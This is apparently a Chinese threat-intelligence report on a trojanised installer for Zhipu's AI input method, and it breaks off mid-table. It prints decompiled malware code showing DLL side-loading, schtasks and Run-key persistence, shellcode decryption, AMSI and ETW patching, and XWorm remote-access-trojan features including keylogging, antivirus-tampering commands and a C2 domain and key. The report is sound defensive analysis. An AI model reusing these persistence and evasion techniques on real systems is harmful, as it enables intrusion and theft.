概述
瑞星威胁情报平台在2026年6月1日的威胁狩猎中发现智谱AI输入法官网提供的Windows版的下载链接下载到的软件安装包被替换为了包含病毒的版本,疑似遭遇供应链攻击。事件发生后,智谱官方迅速采取应对措施,于当晚在官网下架Windows版智谱AI输入法的下载入口,且相关下载链接指向的文件目前已替换为带有有效数字签名的正常版本,有效阻断了恶意安装包的进一步传播。
样本分析
初始安装包
| 字段 | 内容 |
|---|---|
| 原始文件名 | AutoGLM_win32_x64_1.10.0_260430_1458.exe |
| 文件大小 | 103.00 MB (108188672 bytes) |
| 文件MD5 | 0b7b91448f7d5884804b210d9ebf7dfd |
| 文件类型 | EXE |
| 主要功能 | 释放并加载恶意模块,启动智谱AI安装程序 |
2026年6月1日在智谱AI输入法官网下载到的Windows版的安装程序未包含有效的数字签名


程序运行后将先后执行以下操作:
- 在
%LOCALAPPDATA%下创建名为SougouIME的文件夹 - 向之前创建的文件夹内先后写入3个文件,包含合法的
搜狗拼音输入法组件以及两个恶意DLL - 在
%LOCALAPPDATA%下写入GLMUpdater.exe(实质为智谱AI输入法安装程序) - 启动合法的
搜狗拼音输入法组件以侧加载恶意DLL - 启动
智谱AI输入法安装程序以掩人耳目
void __fastcall main_main()
{
// ============================================================
// 1. 获取 %LOCALAPPDATA% 环境变量
// ============================================================
string localAppData = os_Getenv("LOCALAPPDATA", 12);
if (localAppData.len == 0)
{
fmt_Fprintf(stderr, qword_6B1D8F0, "LOCALAPPDATA missing\n", 21, 0, 0, 0);
os_Exit(1);
}
// ============================================================
// 2. 在 %LOCALAPPDATA% 下创建 SougouIME 目录
// ============================================================
string sougouDir = path_filepath_join(localAppData, "SougouIME");
error err = os_MkdirAll(sougouDir, 0755);
if (err != NULL)
{
fmt_Fprintf(stderr, qword_6B1D8F0, "mkdir SougouIME: %v\n", 20, &err, 1, 1);
os_Exit(1);
}
// ============================================================
// 3. 拼接各文件路径
// ============================================================
string rpcDllPath = path_filepath_join(sougouDir, "rpc.dll"); // 恶意 DLL
string brokerExePath = path_filepath_join(sougouDir, "SougouImeBroker.exe"); // 合法搜狗组件(白文件)
string versionDllPath = path_filepath_join(sougouDir, "version.dll"); // 恶意 DLL
string glmInstallerPath = path_filepath_join(localAppData, "GLMUpdater.exe"); // 智谱AI输入法安装程序
// ============================================================
// 4. 释放文件到磁盘
// ============================================================
err = main_writeFile(rpcDllPath, off_6B164A0, qword_6B164A8);
if (err) { fmt_Fprintf(..., "write rpc.dll: %v\n", ...); os_Exit(1); }
err = main_writeFile(brokerExePath, off_6B164C0, qword_6B164C8);
if (err) { fmt_Fprintf(..., "write SougouImeBroker.exe: %v\n", ...); os_Exit(1); }
err = main_writeFile(versionDllPath, off_6B164E0, qword_6B164E8);
if (err) { fmt_Fprintf(..., "write version.dll: %v\n", ...); os_Exit(1); }
err = main_writeFile(glmInstallerPath, off_6B16500, off_6B16508);
if (err) { fmt_Fprintf(..., "write GLMUpdater.exe: %v\n", ...); os_Exit(1); }
// ============================================================
// 5. 启动程序
// ============================================================
os_exec_Cmd_Start(os_exec_Command(brokerExePath, NULL)); // 启动搜狗组件 → 自动加载同目录恶意 DLL
os_exec_Cmd_Start(os_exec_Command(glmInstallerPath, NULL)); // 启动智谱AI输入法安装程序(掩人耳目)
os_Exit(0);
}
恶意模块1:version.dll
| 字段 | 内容 |
|---|---|
| 原始文件名 | version.dll |
| 文件大小 | 2.66 MB (2798300 bytes) |
| 文件MD5 | 987e51176788c759eb930ade655cfb07 |
| 文件类型 | DLL |
| 病毒名 | Trojan.Agent!1.13FA9 |
| 主要功能 | 持久化以及内存加载内嵌的一阶段shellcode |
该DLL使用Themida壳保护以加大逆向分析难度。
初始安装包启动搜狗组件SougouImeBroker.exe时,恶意模块version.dll会被同步加载。模块加载过程中,代码从DllEntryPoint开始执行,依次完成调试器检测、虚拟机检测、原始节解码重构等操作后,进入恶意模块原始入口Payload_Entry。代码首先检测当前主模块是否为Rundll32,若是则直接退出;若不是,则启动恶意线程Malware_Thread1。
int __stdcall Payload_Entry(int dwArg1, int dwOpCode, int dwArg3)
{
//省略部分代码
// 非 rundll32 进程:创建恶意工作线程
if (!CheckCurModule_IsRundll32())
{
hWorkerThread = Create_Thread_ctrl(0, 0, Malware_Thread1, 0, 0, 0);
if (hWorkerThread != NULL)
{
CloseHandle_ctrl(hWorkerThread);
}
}
}
//省略部分代码
}
在Malware_Thread1中,首先通过创建进程的方式,调用Rundll32.exe执行version.dll的导出函数DllRegisterServer(该执行路径为恶意负载的核心执行流程),随后创建线程Malware_Thread2。
int __stdcall Malware_Thread1(int dwParam)
{
//省略部分代码
Execute_DllRegisterServer();// 通过 rundll32 执行 DllRegisterServer 导出函数
// 创建子线程,执行启动项相关逻辑
hSubThread = Create_Thread_ctrl(0, 0, Malware_Thread2, 0, 0, 0);
if (hSubThread != NULL)
{
CloseHandle_ctrl(hSubThread);
}
//省略部分代码
return 0;
}
int Execute_DllRegisterServer(void)
{
//省略部分代码
// 获取当前模块完整路径,存入缓冲区偏移位置
dwRetCode = GetCurrentModulePath(g_ParamCache, &wStackBuf1[9], 260);
if (dwRetCode != 0)
{
// 拼接命令行: rundll32.exe "DLL路径",DllRegisterServer
Init_String(wCmdLineBuf, L"rundll32.exe \"");
String_Cat(wCmdLineBuf, &wStackBuf1[9]);
String_Cat(wCmdLineBuf, L"\",DllRegisterServer");
//省略部分代码
//最终参数:rundll32.exe "C:\Users\MSBig\Desktop\white_Loader\SougouIME\VERSION.dll",DllRegisterServer"
dwRetCode = CreateProcess_ctrl(NULL, wCmdLineBuf); // 创建进程执行命令行
if (dwRetCode != 0)
{
// 连续关闭句柄(原逻辑原样保留)
CloseHandle_ctrl(NULL);
return CloseHandle_ctrl(NULL);
}
}
return dwRetCode;
}
在Malware_Thread2中,首先检测系统中是否存在360的ZhuDongFangYu.exe进程:
- 若存在该进程,通过
LoadLibraryA加载目录下的rpc.dll模块,并调用其导出函数Run执行SougouImeBroker.exe; - 若不存在该进程,则执行以下两项操作:
- 在
SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run注册表项下创建启动项; - 调用系统实用工具
schtasks创建计划任务:
- 在
- 普通权限下,创建任务命令为:
schtasks /create /f /sc minute /mo 5 /tn "SougouImeBroker.exe" /tr "C:\\Users\\MSBig\\Desktop\\white_Loader\\SougouIME\\SougouImeBroker.exe"; - 最高权限下,创建任务命令为:
schtasks /create /f /RL HIGHEST /sc minute /mo 5 /tn "SougouImeBroker.exe" /tr \"C:\\Users\\MSBig\\Desktop\\white_Loader\\SougouIME\\SougouImeBroker.exe"。
int __stdcall Malware_Thread2(int dwParam)
{
// 省略部分代码
bHasDefender = CheckActivezhudongfangyu();// 检测360主动防御进程是否存在
if (!bHasDefender){
//打开注册表:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
LONG regOpenRet = RegOpenKeyExCtrl(
(HKEY)0x80000001,
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
0x20006,
regKeyHandleBuf
);
if (regOpenRet != 0)
{
// 注册表打开失败:直接尝试创建计划任务
bTaskCreateRet = CreateScheduledTask();
}
else
{
// 注册表打开成功:先计算路径长度,再写入RUN启动项
lstrlenWCtrl(g_ModuleFullName);
bRegWriteRet = RegSetValueExWCtrl(regKeyHandleBuf[0]);
// 关闭注册表句柄(保留原多参数调用形式)
RegCloseKeyCtrl(regKeyHandleBuf[0], stackVar1, stackVar2, stackVar3, stackVar4, stackVar5);
// 写入完成后,同步创建计划任务
bTaskCreateRet = CreateScheduledTask();
// 省略部分代码
}
// 省略部分代码
}
RpcExecute();
// 创建进程查询计划任务UpdateTask是否创建成功。
if (CreateProcessW_Ctrl(schtasks /query /tn "\\Microsoft\\Windows\\UpdateTask"))
return 0;
// 休眠2秒后再次执行RPC调用,维持后台运行
SleepCtrl(2000);
RpcExecute();
return 0;
}
int __stdcall CheckActivezhudongfangyu(void)
{
// 省略部分代码
hSnapshot = CreateToolhelp32Snapshot_ctrl(2, 0);
if (hSnapshot != INVALID_HANDLE_VALUE)
{
// 省略部分代码
// 枚举第一个进程
if (Process32FirstW_ctrl(hSnapshot, &processEntry))
{
// lstrcmpiw_ctrl 返回非0表示字符串不相等,继续遍历
while (lstrcmpiw_ctrl(processEntry.szExeFile, L"ZhuDongFangYu.exe"))
{
// 取下一个进程,枚举失败则退出循环
if (!Process32NextW(hSnapshot, &processEntry))
goto EnumEnd;
}
// 匹配到目标进程
bProcessExist = 1;
}
EnumEnd:
// 关闭快照句柄
CloseHandle_ctrl(hSnapshot);
}
return bProcessExist;
}
int __stdcall CreateScheduledTask(void)
{
// 省略部分代码
// 获取当前进程句柄
hCurrentProcess = GetCurrentProcess_ctrl(stackArg1, stackArg2, stackArg3);
// 打开进程访问令牌
if (!GetProcessToken_ctrl(hCurrentProcess, 8, cmdLineBuf))
goto NormalTaskCmd;
// 查询令牌权限信息,判断是否拥有高权限
if (!GetTokenInformation_ctrl(0, 20, &tokenInfoData, 4, retSizeBuf))
{
CloseHandle_ctrl(NULL);
goto NormalTaskCmd;
}
CloseHandle_ctrl(NULL);
// 权限判断:无高权限 -> 普通任务;有高权限 -> 最高权限任务
bHasElevatedPriv = tokenInfoData;
if (!bHasElevatedPriv){
NormalTaskCmd:
// 普通权限:每5分钟执行一次,强制覆盖同名任务
wsprintfW_ctrl(cmdLineBuf,L"schtasks /create /f /sc minute /mo 5 /tn \"%s\" /tr \"%s\"",g_ExeShortName,g_ModuleFullName);
}
else{
// 最高权限运行:附加 /RL HIGHEST 参数
wsprintfW_ctrl(cmdLineBuf,L"schtasks /create /f /RL HIGHEST /sc minute /mo 5 /tn \"%s\" /tr \"%s\"",g_ExeShortName,g_ModuleFullName);
}
// 创建进程,执行命令行,创建计划任务
return CreateProcessW_trl(cmdLineBuf);
}
通过Rundll32.exe执行version.dll导出函数DllRegisterServer的流程中,该函数首先两次调用GetTickCount,检测两次执行的时间差,仅当差值小于等于 0x9C(156ms)时,才会继续执行后续操作;随后拷贝shellcode1,解密后跳转至该代码段执行。
HRESULT __stdcall DllRegisterServer(void)
{
//省略部分代码
dwStartTick = GetSystemTickCount();
SleepCtrl(625);
dwTimeElapsed = GetSystemTickCount() - 625 - dwStartTick;// 计算真实耗时:当前计时 - 初始计时 - 预设延时
if ((UINT)dwTimeElapsed <= 0x9C)
{
// 申请大容量内存
lpAllocBase = VirtualAllocCtrl(NULL, 201326592, 12288, 64);
hRet = lpAllocBase;
// 内存分配成功
if (lpAllocBase != NULL)
{
// 计算 Shellcode 入口地址:基址 + 偏移 0xBFDE3B5
pShellcodeEntry = (VOID (__stdcall *)(int))((BYTE*)lpAllocBase + 0xBFDE3B5);
// 整块内存填充为 0x90(NOP指令)
MemSet(lpAllocBase, 144, 201326592);
// 将加密 Shellcode 拷贝到目标偏移位置,长度 0x20C4B
MemCpy((BYTE*)lpAllocBase + 0xBFDE3B5, encode_shellcode, 0x20C4B);
// 逐字节异或解密 Shellcode
pBytePtr = (BYTE*)((BYTE*)lpAllocBase + 0xBFDE3B5);
xorKey = 171; // 初始异或密钥
// 循环范围:从Shellcode起始位置 到 地址 0xBFFF000
do
{
*pBytePtr ^= (BYTE)xorKey; // 单字节异或解密
xorKey += 17; // 密钥自增步长 17
if (xorKey > 0xFF) // 密钥溢出则重置为初始值
xorKey = 17;
pBytePtr++; // 指针后移
} while (pBytePtr != (BYTE*)((BYTE*)lpAllocBase + 0xBFFF000));
//省略部分代码
pShellcodeEntry(shellcode1);// 调用解密完成的 Shellcode 入口
//省略部分代码
}
}
return hRet;
}
在shellcode1中,执行逻辑如下:
- 获取
VirtualAlloc、VirtualFree、RtlExitUserProcess等函数指针; - 申请内存并拷贝、解码包含代码和内嵌
PE1的数据块; - 计算字符串
W73HW9NT的哈希值,并与解码后的数据块比对,比对失败则直接退出; - 获取
LoadLibraryA函数指针,加载ole32、oleaut32、wininet、mscoree和shell325 个 DLL,以及Patch_Amsi、Patch_EtwEventWrite等外壳所需的全部函数; - 通过内存加载方式,运行内嵌的
PE1。
int __cdecl ShellCode1(DWORD* pGlobalCtx)
{
//省略部分代码
// 查找 VirtualAlloc
pVirtualAlloc = (PFN_VirtualAlloc)FindFunc_Proc((DWORD*)pGlobalCtx,pGlobalCtx[18], pGlobalCtx[19],pGlobalCtx[10], pGlobalCtx[11]);
// 查找 VirtualFree
pVirtualFree = (PFN_VirtualFree)FindFunc_Proc((DWORD*)pGlobalCtx,pGlobalCtx[20], pGlobalCtx[21],pGlobalCtx[10], pGlobalCtx[11]);
// 查找 RtlExitUserProcess
pExitProcess = (PFN_RtlExitUserProcess)FindFunc_Proc((DWORD*)pGlobalCtx,pGlobalCtx[122], pGlobalCtx[123],pGlobalCtx[10], pGlobalCtx[11]);
//省略部分代码
pAllocBuf = pVirtualAlloc(NULL, *pGlobalCtx, 0x3000, 4);// 分配可读写内存
//省略部分代码
// 多重校验:标记判断 + 数据解码 + 哈希比对
if (*(DWORD*)((BYTE*)pAllocBuf + 564) == 3
&& (Decode((BYTE*)pAllocBuf + 4, (BYTE*)pAllocBuf + 20, (BYTE*)pAllocBuf + 0x23C,
*pFuncTableItem - 0x23C),
CalcHash_1((BYTE*)pAllocBuf + 3116, *pFuncTableItem, *(DWORD*)((BYTE*)pAllocBuf + 44))
== *(DWORD*)((BYTE*)pAllocBuf + 0xD30))
&& (DWORD)pFuncTableItem == *(DWORD*)((BYTE*)pAllocBuf + 0xD34))
{
// 查找 LoadLibraryA 地址并回填到上下文
apiFindRet = (int)FindFunc_Proc((DWORD*)pAllocBuf,*(DWORD*)((BYTE*)pAllocBuf + 48),*(DWORD*)((BYTE*)pAllocBuf + 52),*pFuncTableItem,*(DWORD*)((BYTE*)pAllocBuf + 44));
//省略部分代码
// 遍历字符串区域,按分号 ; 分割逐个加载DLL
pDllNameStr = (char*)((BYTE*)pAllocBuf + 576);
while (TRUE)
{
//省略部分代码
do
{
// 遇到分号/超长/字符串结束则停止截取
if (curChar == ';' || strLen >= 0x104 || !*pCharScan) //ole32;oleaut32;wininet;mscoree;shell32
break;
strTempBuf[strLen] = curChar;
strLen++;
curChar = *++pCharScan;
} while (TRUE);
//省略部分代码
}
//省略部分代码
// 根据标记位执行AMSI、ETW补丁/禁用
if (*(DWORD*)((BYTE*)pAllocBuf + 0x570) == 1
|| (CheckAndPatch_Amsi((DWORD*)pAllocBuf) || *(DWORD*)((BYTE*)pAllocBuf + 0x570) != 2)
&& (Patch_EtwEventWrite((DWORD*)pAllocBuf) || *(DWORD*)((BYTE*)pAllocBuf + 0x570) != 2))
{
//省略部分代码
switch (*pExecCtx)
{
case 3:
case 4:
// 加载并执行内嵌 PE1 文件
LoadEmbPEAndRun((DWORD*)pAllocBuf, (DWORD*)pAllocBuf, pExecCtx, ctxFlag);
break;
//省略部分代码
}
}
}
//省略部分代码
}
int __cdecl CheckAndPatch_Amsi(int pContext)
{
// 省略部分代码
// 加载 amsi.dll 模块
hAmsiDll = GetDllHandle(pContext, ctxBase + 852);
if (!hAmsiDll)
{
return 1; // 模块加载失败,判定为无需补丁/环境异常
}
// 查找 AmsiScanBuffer 函数地址
pAmsiScanBuffer = GetFuncAddress(ctxBase, hAmsiDll, ctxBase + 1480, 0);
if (!pAmsiScanBuffer)
return 0;
// 修改内存属性为可写:PAGE_EXECUTE_READWRITE(0x40),原始属性存入dwOldProtect
PFN_VirtualProtect pVirtualProtect = *(PFN_VirtualProtect **)(ctxBase + 72);
if (!pVirtualProtect(pAmsiScanBuffer, 12, 64, (PDWORD)&dwOldProtect))
return 0;
// 获取补丁指令并覆盖函数前12字节指令
pPatchCodeSrc = sub_E4BE8E9();
Copy_Data(pAmsiScanBuffer, (LPVOID)((BYTE*)pPatchCodeSrc - 8767), 12);
// 恢复函数内存页原始属性
pVirtualProtect(pAmsiScanBuffer, 12, dwOldProtect, tmpBuf);
// 查找 AmsiScanString 函数地址
pAmsiScanString = GetFuncAddress(ctxBase, hAmsiDll, ctxBase + 1496, 0);
if (!pAmsiScanString)
return 0;
// 再次修改内存为可写
if (!pVirtualProtect(pAmsiScanString, 12, 64, (PDWORD)&dwOldProtect))
return 0;
// 覆盖前12字节指令完成补丁
pPatchCodeSrc = sub_E4BE8E9();
Copy_Data(pAmsiScanString, (LPVOID)((BYTE*)pPatchCodeSrc - 8745), 12);
// 恢复内存原始属性
pVirtualProtect(pAmsiScanString, 12, dwOldProtect, tmpBuf);
return 1;
}
int __cdecl Patch_EtwEventWrite(int pContext)
{
//省略部分代码
// 加载 ntdll.dll 系统模块
hNtdll = GetDllHandle(pContext, ctxBase + 872);
// 查找 EtwEventWrite 函数地址
pEtwEventWrite = GetFuncAddress(ctxBase, hNtdll, ctxBase + 1512, 0);
if (!pEtwEventWrite)
return 0;
// 修改内存属性为可写可执行,原始权限存入 dwOldProtect
PFN_VirtualProtect pVirtualProtect = *(PFN_VirtualProtect **)(ctxBase + 72);
if (!pVirtualProtect(pEtwEventWrite, 4, 64, (PDWORD)&dwOldProtect))
return 0;
// 覆盖函数入口前4字节指令,完成补丁
Copy_Data(pEtwEventWrite, (LPVOID)(ctxBase + 1549), 4);
// 恢复内存页原始权限,消除篡改特征
pVirtualProtect(pEtwEventWrite, 4, dwOldProtect, tmpBuf);
return 1;
}
外壳引入的DLL及API函数列表
| 所属模块 | 函数名称 |
|---|---|
| kernel32 | LoadLibraryA |
| kernel32 | GetProcAddress |
| kernel32 | GetModuleHandleA |
| kernel32 | VirtualAlloc |
| kernel32 | VirtualFree |
| kernel32 | VirtualQuery |
| kernel32 | VirtualProtect |
| kernel32 | Sleep |
| kernel32 | MultiByteToWideChar |
| kernel32 | GetUserDefaultLCID |
| kernel32 | WaitForSingleObject |
| kernel32 | CreateThread |
| kernel32 | CreateFileA |
| kernel32 | GetFileSizeEx |
| kernel32 | GetThreadContext |
| kernel32 | GetCurrentThread |
| kernel32 | GetCurrentProcess |
| kernel32 | GetCommandLineA |
| kernel32 | GetCommandLineW |
| kernel32 | GetProcessHeap |
| kernel32 | HeapFree |
| kernel32 | GetLastError |
| kernel32 | CloseHandle |
| ntdll | RtlAllocateHeap |
| ntdll | RtlReAllocateHeap |
| ntdll | RtlEqualUnicodeString |
| ntdll | RtlEqualString |
| ntdll | RtlUnicodeStringToAnsiString |
| ntdll | RtlInitUnicodeString |
| ntdll | RtlExitUserThread |
| ntdll | RtlExitUserProcess |
| ntdll | RtlCreateUnicodeString |
| ntdll | RtlGetCompressionWorkSpaceSize |
| ntdll | RtlDecompressBuffer |
| ntdll | ZwContinue |
| ntdll | NtCreateSection |
| ntdll | NtMapViewOfSection |
| ntdll | ZwUnmapViewOfSection |
| shell32 | CommandLineToArgvW |
| oleaut32 | SafeArrayCreate |
| oleaut32 | SafeArrayCreateVector |
| oleaut32 | SafeArrayPutElement |
| oleaut32 | SafeArrayDestroy |
| oleaut32 | SafeArrayGetLBound |
| oleaut32 | SafeArrayGetUBound |
| oleaut32 | SysAllocString |
| oleaut32 | SysFreeString |
| oleaut32 | LoadTypeLib |
| wininet | InternetCrackUrlA |
| wininet | InternetOpenA |
| wininet | InternetConnectA |
| wininet | InternetSetOptionA |
| wininet | InternetReadFile |
| wininet | InternetQueryDataAvailable |
| wininet | InternetCloseHandle |
| wininet | HttpOpenRequestA |
| wininet | HttpSendRequestA |
| wininet | HttpQueryInfoA |
| mscoree | CorBindToRuntime |
| mscoree | CLRCreateInstance |
| ole32 | CoInitializeEx |
| ole32 | CoCreateInstance |
| ole32 | CoUninitialize |
跳转到内嵌PE1入口执行后,流程如下:
- 两次调用
clock函数并延迟,获取时间差并校验,不满足条件则退出; - 申请内存并拷贝、解密包含代码和内嵌
PE2的数据块(内嵌PE为VB.NET编写的XWorm远控木马); - 跳转至解码后的
shellcode2执行(shellcode2框架与shellCode1一致,仅内嵌 PE 不同),最终shellcode2会在内存中加载VB.NET编写的XWorm远控木马
int __stdcall Emb_PE1_Entry(int a1, int a2, int a3, int a4)
{
//省略部分代码
// 1. 反沙箱:时间校验
timeStart = clock();
Sleep(0x3FE); // 固定休眠 1022ms
timeEnd = clock();
if ((timeEnd - timeStart) <= 0x3FD || (timeEnd - timeStart) > 0x4CF)
{
return 0;
}
hPrivateHeap = HeapCreate(0x40000, 0, 0);
if (!hPrivateHeap)
{
return 0;
}
pHeapMem = HeapAlloc(hPrivateHeap, 8, 0x10000000);
if (pHeapMem != NULL)
{
// 整块内存填充 0x90(NOP 空指令)
memset(pHeapMem, 144, 0x10000000);
// 从全局数据区拷贝加密 Shellcode 到指定偏移位置,长度 0x1404B
memcpy((BYTE*)pHeapMem + 0xFFEBFB5, &unk_404020, 0x1404B);
// 调用自定义解码函数,解密Shellcode
Decode((BYTE*)pHeapMem + 0xFFEBFB5, 81995, 65, 3, 179);
// 强转为函数指针,跳转到Shellcode入口执行
((void (__cdecl *)(void))((BYTE*)pHeapMem + 0xFFEBFB5))();
}
return 0;
}
恶意模块2:rpc.dll
| 字段 | 内容 |
|---|---|
| 原始文件名 | rpc.dll |
| 文件大小 | 2.85 MB (2994176 bytes) |
| 文件MD5 | e0145c0c1439528c3012be7d0f63409d |
| 文件类型 | DLL |
| 病毒名 | Trojan.Agent!1.13FA8 |
| 主要功能 | 通过RPC调用的方式创建计划任务 |
rpc.dll仅在系统中存在360的ZhuDongFangYu.exe进程时被调用,核心函数Run的逻辑如下:
BOOL __stdcall Run(const unsigned __int16 *szTaskParam)
{
//省略部分代码
// 入参校验:参数为空或空字符串直接返回
if (!szTaskParam || !wcslen((LPCWSTR)szTaskParam))
return TRUE;
//省略部分代码
// 1. 拼接 RPC 绑定字符串:目标 UUID + 命名管道 ncacn_np + 管道路径 \pipe\atsvc
RpcStringBindingComposeW(L"86D35949-83C9-4044-B424-DB363231FD0C",L"ncacn_np",NULL,L"\\pipe\\atsvc",NULL,&pRpcBindStr);
// 2. 通过绑定字符串创建 RPC 客户端句柄
RpcBindingFromStringBindingW(pRpcBindStr, &hRpcBind);
// 3. 为 RPC 绑定设置安全认证与安全QOS配置
RpcBindingSetAuthInfoExA(hRpcBind, NULL, 6, 10, NULL, 0, &secQos);
// 4. 释放 RPC 绑定字符串内存
RpcStringFreeW(&pRpcBindStr);
// 5. 首次尝试创建/更新计划任务
bTaskResult = CreateUpdateTask(hRpcBind, (LPCWSTR)szTaskParam);
if (!bTaskResult)
{
// 首次失败,延时 3000ms 后重试一次
DelayCtrl(3000);
bTaskResult = CreateUpdateTask(hRpcBind, (LPCWSTR)szTaskParam);
}
// 6. 输出运行日志
LPCSTR szLog = "false";
if (bTaskResult)
szLog = "add success";
OutputLog(szLog);
// 函数返回取反:成功返回 FALSE,失败返回 TRUE
return !bTaskResult;
}
函数CreateUpdateTask的核心逻辑为拼接创建计划任务的XML,并通过该 XML 创建计划任务\\Microsoft\\Windows\\UpdateTask,拼接后的 XML 内容如下:
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<!-- 任务注册信息 -->
<RegistrationInfo>
<Author>Microsoft Corporation</Author>
<Description>WPS Office Update Task</Description>
<URI>\Microsoft\Windows\UpdateTask</URI>
</RegistrationInfo>
<!-- 任务触发器:定时重复执行 -->
<Triggers>
<TimeTrigger id="Trigger1">
<Repetition>
<Interval>PT10M</Interval> <!-- 执行间隔:10分钟 -->
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary>2005-01-01T12:05:00</StartBoundary> <!-- 首次启动时间 -->
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
<!-- 任务运行配置项 -->
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <!-- 新实例到来则忽略 -->
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries> <!-- 电池供电时不启动 -->
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<!-- 空闲条件设置 -->
<IdleSettings>
<Duration>PT10M</Duration> <!-- 系统空闲10分钟才运行 -->
<WaitTimeout>PT1H</WaitTimeout> <!-- 最长等待1小时空闲 -->
<StopOnIdleEnd>false</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit> <!-- 最长运行时限:72小时 -->
<Priority>7</Priority> <!-- 进程优先级 -->
</Settings>
<!-- 执行动作:启动指定程序 -->
<Actions Context="Author">
<Exec>
<Command>C:\Users\MSBig\Desktop\white_Loader\SougouIME\SougouImeBroker.exe</Command>
</Exec>
</Actions>
<!-- 运行身份与权限 -->
<Principals>
<Principal id="Author">
<!-- 目标用户SID -->
<UserId>S-1-5-21-1091891332-1852682678-894374878-1000</UserId>
<LogonType>InteractiveToken</LogonType> <!-- 交互式登录令牌 -->
<RunLevel>LeastPrivilege</RunLevel> <!-- 普通权限运行 -->
</Principal>
</Principals>
</Task>
内存中加载的XWorm远控木马
| 字段 | 内容 |
|---|---|
| 文件大小 | 51.37 KB (52600 bytes) |
| 文件MD5 | ca2ffd37721ec535a048e4aa5faa289d |
| 文件类型 | EXE |
| 病毒名 | Backdoor.XWorm!1.E338 |
| 主要功能 | 键盘记录,干扰杀软,环境信息收集,加密钱包窃取,执行C2命令 |
键盘记录功能
通过InputTracker类实现,调用 Windows API:
SetWindowsHookEx(user32.dll)— 安装WH_KEYBOARD_LL(ID=13)低级键盘钩子,全局拦截所有键盘输入CallNextHookEx(user32.dll)— 将钩子事件传递给下一个钩子GetKeyboardLayout(user32.dll)— 获取当前键盘布局(用于多语言键盘映射)GetKeyboardState(user32.dll)— 获取所有键的状态(Shift、Ctrl、Alt 等修饰键)ToUnicodeEx(user32.dll)— 将虚拟键码转换为 Unicode 字符MapVirtualKey(user32.dll)— 虚拟键到扫描码映射GetForegroundWindow+GetWindowText(user32.dll)— 获取当前活动窗口标题,用于追踪用户正在操作的应用GetKeyState(user32.dll)— 检测 Caps Lock 等键状态GetLastInputInfo(user32.dll)— 检测用户空闲时间
干扰杀软
在收到uninstall和update指令时会先尝试执行如下PowerShell命令:
Remove-NetQosPolicy -Name '360Safe' -Confirm:$false -ErrorAction SilentlyContinue
Remove-NetQosPolicy -Name 'avp' -Confirm:$false -ErrorAction SilentlyContinue
Remove-NetQosPolicy -Name 'MsMpEng' -Confirm:$false -ErrorAction SilentlyContinue
Remove-NetQosPolicy -Name 'HipsDaemon' -Confirm:$false -ErrorAction SilentlyContinue
Remove-NetQosPolicy -Name 'ntrtscan' -Confirm:$false -ErrorAction SilentlyContinue
环境信息收集
NetworkService类中的Info方法收集了以下系统信息:
| 收集信息 | 采取的方法 |
|---|---|
HWID |
通过WMI查询获取磁盘序列号、网卡MAC地址,与处理器数量、用户名、计算机名、系统版本以及系统盘总大小拼接在一起计算MD5 |
| 计算机名 | .NET内置方法 |
| 用户名 | .NET内置方法 |
| 系统版本 | .NET内置方法 |
| 是否为64位系统 | .NET内置方法 |
| 安装日期 | 获取当前进程对应文件的修改日期 |
| 是否通过U盘传播 | 将自身进程对应文件名与配置内标识的文件名进行比对 |
| 是否以管理员权限运行 | .NET内置方法 |
| 是否安装摄像头 | 尝试调用capGetDriverDescriptionA系统函数 |
| CPU信息 | WMI查询Win32_Processor |
| GPU信息 | WMI查询Win32_VideoController |
| 内存大小 | .NET内置方法 |
| 已安装的杀毒软件 | WMI查询AntivirusProduct |
| 公网IP地址 | 访问checkip.amazonaws.com和api.ipify.org获取 |
加密钱包窃取
Settings类中包含专门用于存储待替换的加密货币地址的字段,本样本中相关功能未启用,但可以通过插件下发相关功能模块:
| 字段 | 目标 |
|---|---|
_BTCData |
比特币钱包地址 |
_ETHData |
以太坊钱包地址 |
_TRCData |
波场币钱包地址 |
C2获取及指令列表
Settings类中包含专门用于存储木马配置相关的字段,这些字段的内容需通过AES算法进行解密,解密密钥通过Mutex字符串R1sWgPmV7TMSfb2B计算而来,相关字段解密后的内容如下:
| 字段 | 解密后的内容 | 含义 |
|---|---|---|
_HostsData |
"microsoft.timefixinstaller.online" | C2域名 |
_PortData |
"8002" | C2端口号 |
_KeyData |
"nothing_is_s@fe" | 收发数据时的加/解密密钥 |
_SPLData |
"\" | 数据分隔符 |
_GroubData |
"GM" | 分组名称 |
_USBData |
"USBDriver.exe" | U盘传播时的文件名 |
通过CommandRouter.Read()方法解析并执行 C2 下发的指令:
| 指令 | 功能描述 |
|---|---|
update |
自我更新 |
DW |
调用PowerShell执行下载的PowerShell脚本 |
LN |
下载指定的可执行文件并执行 |
Shosts |
修改hosts文件 |
Hosts |
将本机hosts文件数据回传至C2服务器 |
plugin |
执行指定插件,未找到相关插件则会回发数据要求服务器推送相关插件 |
savePlugin |
保存C2服务器推送的恶意插件 |
RemovePlugins |
删除已安装的插件 |
FM |
内存执行下载的.NET程序集 |
Urlopen/Urlhide |
打开URL(可见/隐藏模式) |
RunShell |
执行特定程序(隐藏窗口) |
StartReport |
开启窗口监视并向C2服务器报告包含特定内容的窗口的打开事件 |
StopReport |
停止窗口监视 |
CLOSE |
断开与C2的连接 |
uninstall |
自我卸载 |
PCShutdown |
强制关机(shutdown /f /s /t 0) |
PCRestart |
强制重启(shutdown /f /r /t 0) |
PCLogoff |
强制注销(shutdown -L) |
Xchat |
开启文字聊天功能 |
OfflineGet |
上传日志数据至C2服务器 |
$Cap |
摄像头画面捕获 |
rec |
